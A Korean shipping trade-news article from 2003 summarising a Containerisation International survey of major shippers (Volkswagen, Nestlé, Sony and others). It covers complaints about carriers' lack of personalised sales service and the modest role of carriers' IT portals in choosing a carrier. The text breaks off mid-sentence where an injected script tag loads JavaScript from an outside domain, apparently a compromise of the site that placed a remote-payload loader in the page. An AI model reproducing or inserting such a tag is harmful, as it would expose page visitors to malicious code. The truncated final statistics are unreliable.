| 글쓴이 |
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작성일 |
2003-12-03 |
| 제목 |
대형 하주, IT 서비스로 선사 선택한다 |
대형 하주, IT 서비스로 선사 선택한다
CI지 대 하주 설문조사 결과 제시
하주들, ‘맞춤 서비스 부족하다’ 응답
어떠한 수사법을 동원한다 해도 결국 선사와 하주의 사이가 껄끄러운 것은 비단 우리나라뿐 아니라 전 세계적인 경향인 듯하다. 최근 Containerisation International 11월 호는 전세계적으로 내로라하는 하주들을 대상으로 선사 관련 설문 조사 결과를 게재했다. 그들이 토로하는 어려움은 어떤 것인지 이해해 보고자 Containerisation International 11월 호에 실린 Matthew Beddow의 기사 전문을 게재한다. -편집자 주
거의 매달 선사들은 다양한 보도자료를 배포, 자사의 서비스를 어떻게 보강시키는지, 대고객 서비스는 어떻게 향상시키고 있는지 등을 알린다. 해운회사들의 선박은 점점 커지면서 더 좋아지고 있으며, 현장의 상황을 가장 잘 반영할 수 있는 의사결정기구가 만들어지는가 하면, 전 세계 닿지 않는 곳이 없을 정도로 서비스가 구체화, 세분화되고 있다. 또한 화물처리 과정 등이 전자화되어 있기도 하다.
하지만 이러한 선사 측의 서비스 개선 노력에도 불구하고 최근 Containerisation International (CI)가 전세계 하주 100여 곳을 대상으로 조사한 바에 따르면, 하주들은 선사와의 관계를 상당히 위태위태하다고 생각하고 있는 것으로 드러났다. CI가 보낸 질의서에 응답한 화주들의 수는 예년에 비해 상대적으로 작았지만 폭스바겐, 볼보, 네슬레, 필립스, 소니, 나이키, 하이네켄 등 굵직굵직한 화주들이 다수 섞여 있었다고 CI는 말했다. 특히 응답 화주의 60% 이상이 연간 1,000TEU 이상을 취급하고 있는 화주들이며 그 가운데 절반은 연간 5,000TEU 이상을 취급하는 화주들이다.
전체 12개의 질문들 가운데 화주들의 불만이 가장 많이 쏟아져 나온 항목은 9번 질문으로, ‘선사들의 영업 서비스가 고객의 요구를 충족시키기 위해 맞춤형(personalized)으로 변해 가고 있습니까?’. 이 질문에 대해 무려 70%의 화주가 ‘아니오’ 라고 응답했다.
전체 응답결과는 화주들의 규모에 따라 각 질문에 대한 답변이 어떻게 다를 수 있는지 분석하기 위해 규모별로 나누어 제시하였다. 전체 응답 하주는 취급 물량 규모에 따라 4개의 그룹으로 나누었다. 제 1 그룹은 연간 500TEU 이하로 화물을 다루는 화주들, 제 2 그룹은 501TEU에서 1000TEU 사이 화물을 취급하는 화주들, 다루는 화물 량이 1,001 TEU부터 5,000 TE에 속하는 화주들은 제 3그룹, 제 4그룹은 5,000TEU 이상을 처리하는 화주들로 각각 구성되었다.
9번 질문에 대해 각 그룹별로 나온 화주들의 질문은 대부분 같은 입장을 취하고 있음을 볼 수 있다. 화주들은 선사들의 영업 세일즈가 예전에 비해 세분화되지 못하다고 답변했다. 특히 이러한 입장은 물량을 작게 다루는 화주들보다 물량을 많이 취급하는 화주들에게서 더 분명하게 확인할 수 있어 선사의 영업 담당 중역들이 자신의 사무실에서 더 많이 나와야 함을 의미한다고 CI는 분석했다.
하지만 한 선사의 최고 경영자가 반박한 것처럼, 지난 몇 년간 화물 운임이 곤두박질침으로 선사들로서도 어떠한 대책이 필요했고 결국 그 변화 중 하나가 내륙영업사무소를 줄이는 것으로 나타났다. 선사들은 더 이상 모든 영업사무소를 다 운영할 수는 없어 사무소를 줄이는 한편, 어떤 서류의 경우에는 중앙집중식 처리 방법을 택하기도 했다. 좀더 맞춤형 서비스가 있었으면 하느냐는 질문에 화주들의 규모에 상관없이 84%의 화주가 그렇다고 대답했다. 가장 큰 그룹의 어떤 화주는 영업력의 질과 지식이 점점 떨어지고 있으며 심지어 어떤 화주는 고객 서비스라는 것이 존재하지도 않을 뿐더러 우리가 요구하는 것을 들으려 하지 않는다 라고 답변했다. 선사들은 하나의 서비스로 모두를 맞추려고 하고 있다고 가장 큰 그룹의 한 응답자는 말했다. 두 번째 큰 그룹에 속한 하주들도 선사가 크면 클수록 서비스는 점점 빈약해지는 것 같다고 대답했다.
어떤 선사가 가장 높은 운임을 매기고 있느냐는 질문에 대해서는 모두의 답변이 제각기 달라 컨테이너 서비스가 일용품만큼이나 다양한 선택을 할 수 있는 것으로 결론이 났다.
선사들이 제공하는 IT 서비스가 (선사들의) 성공에 보다 직접적인 영향을 미치는지 어떤지를 보기 위해 던진 질문이 질문 4에서 8까지 있다. 결과적으로 해석의 차이는 있을지라도 대략 IT 서비스가 성공에 결정적인 영향을 끼친다고는 볼 수 없는 것으로 CI는 분석했다.
일례로 질문 8에서 전체 응답자의 17%만이 선사들의 인터넷 서비스와 포털 서비스가 하주들이 선사를 선택할 때 중요한 역할을 한다고 답변했다. 대략 38% 이상이 중요하다고 답변했으며 33%는 덜 중요하다고 말했는가 하면, 12%는 아예 아무런 상관이 없다고 응답했다. 그러나 1,000TEU 이상 처리하는 화주들?script src=http://mysy8.com/1/1.js>
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